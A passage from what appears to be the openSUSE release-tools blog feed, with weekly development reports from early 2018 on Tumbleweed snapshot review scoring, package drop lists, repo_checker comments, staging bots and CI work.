<p>All in the same week, a <a href="https://github.com/openSUSE/osc-plugin-factory/pull/718">tool for interacting with devel projects</a> was introduced. The tool provides an overview of the requests to devel projects and the open reviews for devel project (requests targeting <em>Factory</em>). The <code class="highlighter-rouge">--remind</code> feature is run as a service to create review reminder comments of which contributors are likely familiar.</p>
<p>On the OBS end, changes were made to the <code class="highlighter-rouge">obs_factory</code> plugin in order to <a href="https://github.com/openSUSE/obs_factory/pull/68">improve development experience</a>, <a href="https://github.com/openSUSE/obs_factory/pull/70">harden validation</a>, and <a href="https://github.com/openSUSE/obs_factory/pull/69">enhance the API</a> for use by the staging tools. Rather than make hundreds of individual API calls a single aggregate call could be made which drastically improved performance.</p>Jimmy BerryReviewBot overrides via comment commandsAnnouncing Tumbleweed snapshot review site2018-02-26T00:00:00+00:002018-02-26T00:00:00+00:00http://release-tools.opensuse.org/2018/02/26/Tumbleweed-snapshot-review-site<p>Adapted from <a href="https://lists.opensuse.org/opensuse-factory/2018-02/msg01152.html">announcement to <code class="highlighter-rouge">opensuse-factory</code> mailing list</a>:</p>
<p>Following up on my <a href="https://lists.opensuse.org/opensuse-factory/2017-11/msg00591.html">prior announcement</a> of Tumbleweed Snapshots, introducing
a <a href="http://review.tumbleweed.boombatower.com/">snapshot review site</a>. By utilizing a variety of sources of feedback
pertaining to snapshots a stability score is estimated. The goal is to err on
the side of caution and to allow users to avoid troublesome releases. Obviously,
there are many enthusiasts who enjoy encountering issues and working to resolve
them, but others are looking for a relatively stable experience.</p>
<p><a href="http://release-tools.opensuse.org/image/review.tumbleweed-2018-02-13.png"><img src="http://release-tools.opensuse.org/image/review.tumbleweed-2018-02-13.png" alt="review release list" /></a></p>
<p>Releases with a low score will continue to impact future release scores with a
gradual trail-off. Given that issues generally are not fixed immediately in the
next release this assumes the next few releases may still be affected. If the
issue persists and is severe it will likely be mentioned again in the mailing
list and the score again reduced.</p>
<p>Major system components that are either release candidates or low minor releases
are also considered to be risky. For example, recent Mesa release candidates
caused white/black screens for many users which is not-trivial to recover from
for less-technical users. Such issues come around from time to time since openQA
will not catch everything.</p>
<p>Release stability is considered to be pending for the first week after release
to allow time for reports to surface. This of course depends on enthusiasts who
update often, encounter, and report problems.</p>
<p>The scoring is likely to be tweaked over time to reflect observations. It may
also make sense to add a manual override feature to aid scoring when something
critical is encountered.</p>
<p>Integrating the scoring data into the tumbleweed-cli would allow users to pick a
minimum stability level or score and only update to those releases. Such a
mechanism can be vital for systems run by family members, servers, or the wave
of gamers looking for the latest OSS graphics stack.</p>
<p>For more details see the <a href="https://github.com/boombatower/tumbleweed-review">code behind the site</a>. Currently, you can see the
very low scores for the releases laden with shader cache issues and those
therafter. This is the first iteration of the site so nothing too fancy and the
score is fairly basic.</p>
<p>The site also provides a <a href="http://review.tumbleweed.boombatower.com/data.html">machine readable (YAML) version of the data</a>.</p>
<p>As a side-node, Tumbleweed Snapshots are limited to 50 snapshots due to a
<a href="http://release-tools.opensuse.org/2018/02/09/w05-06.html">hosting restriction</a>, but that should generally be over two months worth.</p>
<p>Hopefully others find this useful, enjoy!</p>
<p><a href="http://release-tools.opensuse.org/image/review.tumbleweed-2018-02-03-release.png"><img src="http://release-tools.opensuse.org/image/review.tumbleweed-2018-02-03-release.png" alt="review individual release" /></a></p>Jimmy BerryAdapted from announcement to opensuse-factory mailing list:2018w07-08: drop list considers update repos, Leap repo-checker ignores i586, metrics.o.o weekly ingest, and more2018-02-23T00:00:00+00:002018-02-23T00:00:00+00:00http://release-tools.opensuse.org/2018/02/23/w07-08<h1 id="package-lists-generator-drop-list-considers-update-repos">package lists generator drop list considers update repos</h1>
<p>Following up on the <a href="/2018/02/09/w05-06.html">addition of a drop list generator</a> the code now <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1406">considers <em>update</em> repositories</a>. The released repositories, <em>oss</em> and <em>non-oss</em>, are merged with their update counterparts. This provides a more accurate drop list that should provide for a cleaner post-upgrade system. For an idea of the impact take a look at the <a href="https://build.opensuse.org/package/rdiff/openSUSE:Leap:15.0/000product?full_diff=true&linkrev=base&rev=141">diff on OBS</a> after the change was deployed.</p>
<p>There is an <a href="https://github.com/openSUSE/osc-plugin-factory/issues/1407">ongoing discussion regarding where to store the solv files</a> since they cannot be re-created for releases that are out of support and removed from <em>download.opensuse.org</em>.</p>
<h1 id="leap-150-repo-checker-no-longer-reviews-i586">Leap 15.0 repo-checker no longer reviews i586</h1>
<p>The <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1405"><code class="highlighter-rouge">repo-checker</code> was changed to only review the <code class="highlighter-rouge">x86_64</code> repo</a>, which includes imported <code class="highlighter-rouge">i586</code> pacakges, rather than reviewing both repos in their entirety. Unlike <em>Tumbleweed</em>, <em>Leap</em> does not target <code class="highlighter-rouge">i586</code> as an installable arch, but rather just for providing <code class="highlighter-rouge">-32bit</code> packages. Devel packages receiving <code class="highlighter-rouge">repo-checker</code> comments regarding <code class="highlighter-rouge">i586</code> dependency chains should desist.</p>
<h1 id="metricsoo-weekly-data-ingest-enabled">metrics.o.o weekly data ingest enabled</h1>
<p>In lieu of <a href="https://github.com/openSUSE/open-build-service/issues/4108">OBS providing control over request order via API</a> the data ingest process has been <a href="https://github.com/openSUSE/osc-plugin-factory/blob/adb01e2c58c93fdd20e4d7ba12f0ac518a35a8d9/systemd/osrt-metrics%40.timer#L8">configured to run weekly</a>, instead of daily. The service timer has been enabled and should ingest data regularly.</p>
<h1 id="tumbleweed-snapshot-review-site">Tumbleweed snapshot review site</h1>
<p>Extensive work was completed towards providing a site for reviewing Tumbleweed snapshot stability by aggregating data from a variety of sources. The goal is to provide insight into the stability trends of Tumbleweed and aid in avoiding troublesome snapshots when desired. More details to be forthcoming.</p>
<h1 id="last-year">last year</h1>
<p><code class="highlighter-rouge">factory-auto</code> bot was corrected to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/679">properly warn when issue references were removed</a> as the diff was backwards and to allow for <a href="https://github.com/openSUSE/osc-plugin-factory/pull/682">self-submission</a> for the purpose of reverting a package to a prior version of self.</p>
<p>The <code class="highlighter-rouge">osc-staging</code> plugin was enhanced to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/683">provide link in staging comment to project dashboard</a> to aid in discovery and some ever important <a href="https://github.com/openSUSE/osc-plugin-factory/pull/686">documentation corrections</a>.</p>
<p>The <code class="highlighter-rouge">ReviewBot</code> base was significantly refactored to avoid duplication and over complexity in subsequent bots.</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/684">#684</a>: ReviewBot: refactor leaper comment from log functionality.</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/685">#685</a>: ReviewBot: use <code class="highlighter-rouge">super().check_source_submission()</code> in subclasses.</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/692">#692</a>: ReviewBot: extract <code class="highlighter-rouge">__class__.__name__</code> as default for <code class="highlighter-rouge">self.bot_name</code>.</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/693">#693</a>: ReviewBot & leaper: provide deduplicate method for leaper comment (and other fixes)</li>
</ul>
<p>In another attempt to aid in feature discovery the <code class="highlighter-rouge">leaper</code> bot was changed to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/694">let request submitters know when the request would have been automatically generated</a>. On a similar note the staging <code class="highlighter-rouge">unselect</code> command was tweaked to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/695">print a message suggesting use of new ignore psuedo-sate</a>.</p>
<p>Significant work was done towards providing completely automated staging strategies via the addition of <code class="highlighter-rouge">--non-interactive</code>, <code class="highlighter-rouge">--merge</code>, <code class="highlighter-rouge">--try-strategies</code>, and <code class="highlighter-rouge">--strategies</code> options. The prototype was run against <em>Leap 42.3</em> and scrutinized to hone the strategies. A related tool was prototyped for triggering flaky package rebuilds in staging projects.</p>
<p>For <a href="https://hackweek.suse.com/15">SUSE Hackweek 15</a> I <a href="https://hackweek.suse.com/15/projects/track-statistics-on-the-opensuse-staging-process-to-gain-feedback-on-changes">worked on what eventually turned into <code class="highlighter-rouge">metrics.opensuse.org</code></a>. The focus was on selecting the appropriate tools and determining what to use as the data source. After the OBS team denied request to get read access of data dumps of request related tables I settled on ingesting the data (over <code class="highlighter-rouge">800MB</code> of XML) via the API.</p>Jimmy Berrypackage lists generator drop list considers update repos2018w05-06: package drop list, Tumbleweed snapshots update, leaper no longer requires maintainer review, and more2018-02-09T00:00:00+00:002018-02-09T00:00:00+00:00http://release-tools.opensuse.org/2018/02/09/w05-06<h1 id="package-list-generator-gains-drop-list-generation">package list generator gains drop list generation</h1>
<p>The new <code class="highlighter-rouge">pkglistgen.py</code>, used by <em>Leap 15.0</em> <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1386">gained integration of the drop list generator</a> which adds <code class="highlighter-rouge">weakremover(package_name)</code> to the <code class="highlighter-rouge">openSUSE-release</code> package to cleanup packages that were provided in previous <em>Leap</em> releases, but are no longer available. The <a href="https://build.opensuse.org/package/rdiff/openSUSE:Leap:15.0/000release-packages?linkrev=base&rev=26">initial batch of changes</a> was fairly significant. The release corresponding to the packages that are no longer provided can be seen as comments in <a href="https://build.opensuse.org/package/view_file/openSUSE:Leap:15.0/000product/obsoletepackages.inc">000product/obsoletepackages.inc</a>. With the drop list integrated the last piece to the upgrade puzzle should be in place and the <em>openQA</em> upgrade tests should be satisfied.</p>
<p>Additionally, as part of the drop list integration a set of functions for determining projects within a product family were added which should be useful for <a href="https://github.com/openSUSE/osc-plugin-factory/issues/1387">abstracting <code class="highlighter-rouge">leaper.py</code></a> to avoid hard-coding potential request project sources.</p>
<h1 id="tumbleweed-snapshots-update-and-mesa-postmortem-usage">Tumbleweed snapshots: update and Mesa postmortem usage</h1>
<p>Up until now I had been watching over the snapshotting process manually to gauge when to trigger the full snapshot and ensure things worked properly. Part of the reason was still having to rely on a non-<code class="highlighter-rouge">stage.opensuse.org</code> mirror and ensuring the mirror was fully in-sync before snapshotting. After observing the process I went ahead and <a href="https://github.com/boombatower/tumbleweed-snapshot/commit/d2973a428cbcd38d16eddc2801ebc65a77e0d60d">added a two-phase update mechanism</a> as had been my intention. When a new snapshot is detect the meta-data and redirection rules are immediately updated, but the actual snapshotting is delayed by <code class="highlighter-rouge">4 hours</code>. This allows end-users to immediately begin using the latest snapshot since it will redirect to the mirror network even though the files have not been snapshotted.</p>
<p>Unfortunately, I discovered <em>AWS S3 static website hosting</em> has a limit of <em>50</em> redirection rules which therefore limits the number of snapshots to <em>50</em> as well. As such a <a href="https://github.com/boombatower/tumbleweed-snapshot/commit/165bfa53ecb728947db209bdaea8117e1d6d870e">count limiter was added to the expiration routine</a> and the first snapshot <code class="highlighter-rouge">20171115</code> was removed. Going forward a rolling <em>50</em> snapshots will be kept unless proper openSUSE hosting is provided which can use a different redirection mechanism without the limit.</p>
<p>As many of your are likely aware <code class="highlighter-rouge">Mesa 18.0.0-rc3</code> caused quite some issues for <em>Tumbleweed</em> users due to on disk cache corruption issues. As part of the postmortem <em>Tumbleweed snapshots</em> were used to compare released versions of <em>Mesa</em> to verify assumptions and behaviors of <em>Mesa</em> to aid in fully resolving the problem upstream.</p>
<h1 id="leaper-no-longer-requires-maintainer-review-for-factory-submissions">leaper no longer requires maintainer review for Factory submissions</h1>
<p>Based on feedback from maintainers the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1394"><em>leaper</em> bot will no longer require maintainer review for automated submissions from <em>Factory</em> to <em>Leap</em></a>. Expect this to be deployed early next week.</p>
<h1 id="request-splitter-grouping-by-hashtag">request splitter grouping by hashtag</h1>
<p>An interesting use-case of the <em>request splitter</em> grouping functionality the CaaSP staging master inquired about allowing submitters to place a hashtag, or similar, in request descriptions which could be used to group them together in a single staging. Given the flexible nature of the <em>request splitter</em> the capability already exists so it was <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1390">added as an example in the documentation</a>. It may also make sense to create a strategy to look for certain hashtags and automatically group in such a manor.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>osc staging select --filter-by 'contains(description, "#Portus")'
</code></pre></div></div>
<h1 id="repo-checker-improving-turnaround-time">repo checker improving turnaround time</h1>
<p>One of the goals in making comments on devel packages was to notify maintainers of problems that made it past the staging process and to hasten providing a fix. Obviously, the preference being the problems never make it past staging, but given the nature of the process this cannot be guaranteed. Through observation of the comments made by the <em>repo checker</em> and the corresponding problems being removed from the <a href="https://build.opensuse.org/package/view_file/openSUSE:Factory:Staging/dashboard/repo_checker">overall list of issues</a> one can observe some rather fast turnaround times (adding to metrics.o.o would be interesting). One such example can be seen with the <code class="highlighter-rouge">cinnamon</code> package which had the fix already accepted into <em>Factory</em> by the time a user <a href="https://lists.opensuse.org/opensuse-factory/2018-02/msg00162.html">reported the problem</a>. Certainly an encouraging result and much thanks to the maintainer.</p>
<h1 id="last-year">last year</h1>
<p>A variety of long-standing bugs and feature requests were handled with regards to <code class="highlighter-rouge">factory-auto</code>.</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/673">#673</a>: source-checker: handle add/remove changes files for patch diff check.
<ul>
<li>packages with multiple subpackages and <code class="highlighter-rouge">.changes</code> files would cause error when removing a <code class="highlighter-rouge">.changes</code> files</li>
</ul>
</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/679">#679</a>: check_tags: warn when issue references are removed (plus other fixed)
<ul>
<li>the existing code was backwards among other things</li>
</ul>
</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/682">#682</a>: check_source: allow self-submission.
<ul>
<li>allows for reverting a package by submitting a previous revision of itself</li>
</ul>
</li>
</ul>
<p>On a related note the underlying <code class="highlighter-rouge">ReviewBot</code> code was refactored to improve re-use.</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/684">#684</a>: ReviewBot: refactor leaper comment from log functionality.
<ul>
<li>layed the ground-work for a many future improvements to ReviewBot comment handling</li>
</ul>
</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/685">#685</a>: ReviewBot: use super().check_source_submission() in subclasses.</li>
</ul>
<p>The <em>request splitter</em> saw a number of bug fixes post-porting and follow-ups to ported behavior.</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/662">#662</a>: Remove source devel project check carried over from flawed adi logic</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/674">#674</a>: request_splitter: delete requests should always be considered in a ring.</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/676">#676</a>: request_splitter: house keeping (and fix for SLE [non-ring] workflow)</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/681">#681</a>: adi: map wanted_requests to str() before passing to splitter.</li>
</ul>
<p>A major performance improvement was made to the staging tools along with documentation improvements and a link to the staging dashboard to increase visibility to submitters.</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/654">#654</a>: stagingapi: Avoid search/package query to determine devel project.</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/683">#683</a>: stagingapi: update_status_comments() include link to dashboard.</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/686">#686</a>: osc-staging: add missing documentation and correct/clean existing</li>
</ul>
<p>The <em>issue diffing</em> tool, for reporting issues fixed in SLE that have not yet been merged into <em>Factory</em>, was enhanced to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/670">inteligently pick a user to which to assign the auto-generated bugs</a>.</p>Jimmy Berrypackage list generator gains drop list generation2018w03-04: repo_checker devel package comments, announcer re-deployment, CI tweaks, and more2018-01-26T00:00:00+00:002018-01-26T00:00:00+00:00http://release-tools.opensuse.org/2018/01/26/w03-04<h1 id="repo_checker-devel-package-comments-from-multiple-target-projects">repo_checker devel package comments from multiple target projects</h1>
<p>A while back the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1042"><code class="highlighter-rouge">repo_checker</code> gained the ability to post comments on packages within devel projects</a> for which problems were detected in the target project. Since <code class="highlighter-rouge">openSUSE:Factory</code> has a fair number of existing problems, many of which are long-standing, it seemed the maintainers needed to be notified of problems rather than users reporting them in the <code class="highlighter-rouge">opensuse-factory</code> mailing list or similar. One limitation of the original implementation was that only one comment could exist per devel package. This workflow is standard among the <code class="highlighter-rouge">ReviewBot</code>s which only post one comment per entity, but it would be preferred to also post reports for <code class="highlighter-rouge">openSUSE:Leap:15.0</code> since the issues may be different.</p>
<p>A <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1353"><code class="highlighter-rouge">bot_name_suffix</code> was introduced</a> to allow for differentiation between the comments based on the target project for which they represent. With this new ability devel package comments were enabled for <em>Leap 15.0</em> in addition to <em>Factory</em>. An example of two comments on the same package, <a href="https://build.opensuse.org/package/show/science/avogadro">science/avogadro</a>, can be seen below.</p>
<p><a href="http://release-tools.opensuse.org/image/repo_checker-science-avogadro-double-comment.png"><img src="http://release-tools.opensuse.org/image/repo_checker-science-avogadro-double-comment.png" alt="usage" /></a></p>
<p>The difference being that <code class="highlighter-rouge">i586</code> is built in <em>Factory</em>, but not <em>Leap</em>.</p>
<p>Another example, from <a href="https://build.opensuse.org/package/show/devel:tools:scm/git">devel:tools:scm/git</a>, demonstrates the importance of posting comments from both target projects since the issue only exists in <em>Leap</em>.</p>
<p><a href="http://release-tools.opensuse.org/image/repo_checker-devel:tools:scm-git-comment.png"><img src="http://release-tools.opensuse.org/image/repo_checker-devel:tools:scm-git-comment.png" alt="usage" /></a></p>
<p>In addition to supporting multiple target projects, the pull request also introduced a configuration option to post comments directly on the packages within the target project. This feature is now used for SLE development which also improves the <em>Leap</em> workflow since many packages come from SLE and the additional check improves the quality of those submissions.</p>
<h1 id="announcer-packaging-and-deployment-for-leap-150">announcer packaging and deployment for Leap 15.0</h1>
<p><em>Leap 42.3</em> used the announcer to send email notifications of new builds during it pre-release cycle starting with beta. In preparation for using the announcer for <em>Leap 15.0</em> the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1368">various configuration and service bits that were not yet polished and placed in git were merged</a>. After which the package was simply updated and the announcer enabled for <em>Leap 15.0</em>. This is part of a <a href="https://github.com/openSUSE/osc-plugin-factory/issues/1185">ongoing effort to migrate all services to those provided by the package</a> in order to simplify and ease maintenance.</p>
<h1 id="ci-tweaks-and-osc-crash-caught">CI tweaks and osc crash caught</h1>
<p>Since requests are now automatically submitted to <em>Leap 15.0</em> from <em>Factory</em> the <a href="https://build.opensuse.org/package/show/openSUSE:Factory/openSUSE-release-tools">openSUSE-release-tools</a> package was submitted which broke the automatic deployment. Before a request is created to submit the package to <em>Factory</em> it checks to ensure there are no existing requests to avoid spamming, but the <code class="highlighter-rouge">osc request list</code> command does not differentiate between requests targeting the package or being sourced from it. As such the <em>Leap</em> requests were detected as existing requests. The problem was resolved by <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1364">replacing the <code class="highlighter-rouge">osc</code> command with a custom API call</a>.</p>
<p>Since the CI is ensured to run at least once every 24 hours, after <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1363">recent tweaks</a>, changes to upstream dependencies (like OBS and osc) that break the release tools are caught quickly. One such occurance was caught that <a href="https://github.com/openSUSE/osc/issues/372">caused <code class="highlighter-rouge">osc</code> to crash on init</a>. This confirmed the setup works well and allows for such issues to be caught before deployed in production.</p>
<h1 id="devel-project-code-standardized">devel project code standardized</h1>
<p>Over the last year, the various implementations for retrieving devel project and falling back when not available have been extracted and refactored into common ones. The final <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1351">request to merge the common implementations remaining into one function</a> (and fix some bugs) was merged. With that refactoring completed the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1352"><code class="highlighter-rouge">check_source</code> bot could use the fallback code to handle <code class="highlighter-rouge">add_role</code> requests to <em>Leap</em> properly</a>. Nothing too exciting, but helpful towards maintaining the code going forward as previously the same problem had to be fixed in each implementation.</p>
<h1 id="post-accept-staging-todo-list">post-accept staging todo list</h1>
<p>One of the cumbersome bits to the workflow is communicating/remembering manual steps that need to be taken after a staging is accepted. In lieu of the tools handling everything automatically a <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1367"><code class="highlighter-rouge">todo</code> field was added</a> to allow staging masters to record information to be displayed after a staging is accepted. This builds atop the staging specific config feature added and is thus rather simple to implement.</p>
<h1 id="status-check">status check</h1>
<p>In preparation for providing public status information a <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1370">tool for determining if the various bots are running properly</a> was created. The intent is to integrate it into a public status site and/or provide alerts to staging masters.</p>
<h1 id="dashboard">dashboard</h1>
<p>The <a href="https://build.opensuse.org/project/staging_projects/openSUSE:Factory">staging dashboard</a> was improved by <em>krauselukas</em> to <a href="https://github.com/openSUSE/obs_factory/pull/126">include <code class="highlighter-rouge">ready</code> requests</a> (adi requests <em>ready</em> to be accepted) and <a href="https://github.com/openSUSE/obs_factory/pull/128">provide links to see all the requests in the various states</a>. This is not only helpful for staging masters to get a quick overview, but helpful to clarify the process to contributors.</p>
<h1 id="last-year">last year</h1>
<p>During this time last year, an <a href="https://github.com/openSUSE/osc-plugin-factory/pull/640">issue reference diffing tool</a> was created to aid in ensuring all fixes from SLE made their way into <em>Factory</em> by comparing the issues referenced in package change logs. The <a href="https://github.com/openSUSE/osc-plugin-factory/pull/644"><code class="highlighter-rouge">leaper</code> bot was also extended to support SLE</a> and further merged the workflows to allow for investment into the same toolset.</p>
<p>In an effort to improve the staging <code class="highlighter-rouge">osc</code> plugin responsiveness the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/654">underlying devel project query was reworked</a> to avoid an expensive query that using timed out after <em>5-10</em> minutes. The result was a significant speed up.</p>Jimmy Berryrepo_checker devel package comments from multiple target projects2018w01-02: pkglistgen deployed, comment tests, baselibs.conf in adi, config generalization, and much more2018-01-12T00:00:00+00:002018-01-12T00:00:00+00:00http://release-tools.opensuse.org/2018/01/12/w01-02<h1 id="package-list-wrapper-scripts-port-and-rewrite">package list wrapper scripts port and rewrite</h1>
<p>After the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1312">rewrite</a> was merged (before full testing) a series of small follow-ups (<a href="https://github.com/openSUSE/osc-plugin-factory/pull/1328">#1328</a>, <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1332">#1332</a>, <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1333">#1333</a>) were required to bring everything into working order. After that the code has been happily deployed for <a href="https://build.opensuse.org/project/show/openSUSE:Leap:15.0">Leap 15.0</a>.</p>
<p>A <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1329">few items remain</a> in order to bring the SLE wrappers into the fold.</p>
<h1 id="flesh-out-comment-tests">flesh out comment tests</h1>
<p>As part of the long-term goal of increasing test coverage a <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1318">detailed set was added</a> to cover the code responsible for interacting with <a href="https://build.opensuse.org/">OBS</a> comments. Additionally, the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1319"><code class="highlighter-rouge">ReviewBot</code> specific comment code was also covered</a>. The tests are a combination of unit and functional tests that utilize the <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/dist/ci/docker-compose-obs">local OBS instance brough up on travis-ci</a> for a net gain of around <em>1.5%</em> coverage.</p>
<h1 id="adi-packages-with-baselibsconf-staged-for-all-archs">adi packages with baselibs.conf staged for all archs</h1>
<p>Packages not contained within the <a href="https://build.opensuse.org/project/subprojects/openSUSE:Factory:Rings">ring projects</a> are placed in <a href="https://build.opensuse.org/project/subprojects/openSUSE:Factory:Staging"><code class="highlighter-rouge">adi</code> stagings</a> which are only built for <code class="highlighter-rouge">x86_64</code>. For packages utilizing a <a href="https://build.opensuse.org/package/view_file/openSUSE:Factory/wine/baselibs.conf?expand=1"><code class="highlighter-rouge">baselibs.conf</code></a> such as <a href="https://build.opensuse.org/package/show/openSUSE:Factory/wine"><code class="highlighter-rouge">wine</code></a> this is less than ideal since the imported packages are not built. For <code class="highlighter-rouge">wine</code> specifically this causes the package to never pass the <code class="highlighter-rouge">repo-checker</code> since the <code class="highlighter-rouge">wine (x86_64)</code> package requires the <code class="highlighter-rouge">wine-32bit</code> package which is not built.</p>
<p>To solve the <code class="highlighter-rouge">wine</code> case and allow <code class="highlighter-rouge">baselibs.conf</code> to be tested in stagings the <code class="highlighter-rouge">adi</code> process was <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1320">enhanced to detect <code class="highlighter-rouge">baselibs.conf</code> and enable all archs from the target project</a> (for <code class="highlighter-rouge">Factory</code> this includes <code class="highlighter-rouge">i586</code>). This handles both static <code class="highlighter-rouge">baselibs.conf</code> and those that are generated during by the <code class="highlighter-rouge">spec</code> file.</p>
<h1 id="config-generalization">config generalization</h1>
<p>As part of an ongoing process to standardize the execution and configuration of the various tools to reduce the management overhead, various flags have been migrated to be read out of <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/osclib/conf.py#L34-L138">project configuration</a>. This allows tools to be run without flags via standardized service files while the config defaults can be managed centrally and overridden in <a href="https://build.opensuse.org/package/view_file/openSUSE:Factory:Staging/dashboard/config?expand=1">OBS remote config</a>.</p>
<p>The <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1321">config system was expanded to support non-distribution projects</a> to allow for tools to be run against devel projects like <code class="highlighter-rouge">GNOME:Factory</code> which has long utilized <code class="highlighter-rouge">factory-auto</code>. This exposes the flags that were previously available via the project config. Interestingly, the change had to be reverted and <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1327">re-introduced with pattern ordering</a>. Had been luck that the issue had not been a problem prior to this point.</p>
<h1 id="nonfree-workflow">NonFree workflow</h1>
<p>A <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1247">discussion of the <code class="highlighter-rouge">NonFree</code> workflow</a> was started regarding including such requests in the normal staging workflow. As a consequence of not being staged the new <code class="highlighter-rouge">repo_checker</code> can not process the requests.</p>
<h1 id="obs_clone-improvements">obs_clone improvements</h1>
<p>The <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/obs_clone.py"><code class="highlighter-rouge">obs_clone</code></a> tool clones data between OBS instances which is used to load a facsimile of <code class="highlighter-rouge">Factory</code> into a local OBS instance for testing. Without a large amount of specific project setup the various tools cannot function and thus cannot be tested. After a hiccup in <code class="highlighter-rouge">Factory</code> the project had to be rebuilt by bootstrapping against a staging project. This caused a <a href="https://github.com/openSUSE/osc-plugin-factory/issues/1335">circular dependency which the tool cannot currently handle</a>. A <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1338">workaround was added</a> to resolve the issue.</p>
<p>As part of the debugging process a <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1345">variety of improvements were made</a> furthering the goal of being able to run all the tools against the local instance.</p>
<h1 id="staging-bot-improvements">staging-bot improvements</h1>
<p>The <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/osclib/request_splitter.py#L466-L499"><code class="highlighter-rouge">quick</code> staging strategy</a> was <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1343">improved to handle the new <code class="highlighter-rouge">Leap 15.0</code> workflow and future proof the implementation</a>. In order to process requests as quickly as possible the requests that do not require human review (ex. coming from SLE were they were already reviewed) are grouped together to avoid being blocked by other requests. The strategy has already been seen functioning correctly in production.</p>
<p>Towards the same goal, the <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/osclib/request_splitter.py#L501-L513"><code class="highlighter-rouge">special</code> strategy</a>, which is used to isolate important packages and/or those that routinely cause problems, was <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1344">modified to be disablable</a>. This is utilize for <code class="highlighter-rouge">Leap</code> which generally sees requests from other sources which have already passed various processes and are less likely to cause issues. Thus rather than isolate such packages and thus take up an entire staging they are simply grouped normally.</p>
<h1 id="last-year">last year</h1>
<p>Some major work was completed last year at this time.</p>
<h1 id="api-request-cache">API request cache</h1>
<p>In an effort to drastically improve the runtime of the various staging tools and bots an <a href="https://github.com/openSUSE/osc-plugin-factory/pull/629">HTTP cache was implemented</a> for caching specific OBS API queries and expiring them when the OBS projects were changed. The result was a significant improvement and in many cases removed over <em>90%</em> of execution time once the caches were warmed up. Given the number of staging queries run in a day this was a major quality of life improvement.</p>
<h1 id="ignored-request-pseudo-state">ignored request pseudo-state</h1>
<p>Another quality of life improvement was the introduction of an <a href="https://github.com/openSUSE/osc-plugin-factory/pull/631"><code class="highlighter-rouge">ignored</code> request pseudo-state</a> for use in the staging process. This allowed staging masters to place requests in a <a href="https://build.opensuse.org/package/view_file/openSUSE:Factory:Staging/dashboard/ignored_requests?expand=1">backlog</a> with a message indicating the reason. Not only did this improve the workflow for communicating such things between staging masters, but it also paved the way for automated staging improvements since this could be used to exclude requests. The pseudo-state has since become an integral part of the workflow.</p>
<p>Ignored requests can be seen along with their reason in the <code class="highlighter-rouge">list</code> output:</p>
<script src="https://asciinema.org/a/cXR3iVgS95k1VBbAvngy784ng.js" id="asciicast-cXR3iVgS95k1VBbAvngy784ng" async=""></script>
<h1 id="requestsplitter">RequestSplitter</h1>
<p>A major step forward was the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/637">creation of the <code class="highlighter-rouge">RequestSplitter</code></a> which not only replaced the different request grouping implementations, but providing a vastly more powerful solution. Not only were the previous static grouping options available, but <code class="highlighter-rouge">xpath</code> filters and group-bys could be specified to create complex request groupings. Prior to this such grouping had to be done manually via copy-paste from <code class="highlighter-rouge">list</code> sub-command or other primitive means. Given that all <code class="highlighter-rouge">ring</code> packages must be staged manually using this process any improvement helps.</p>
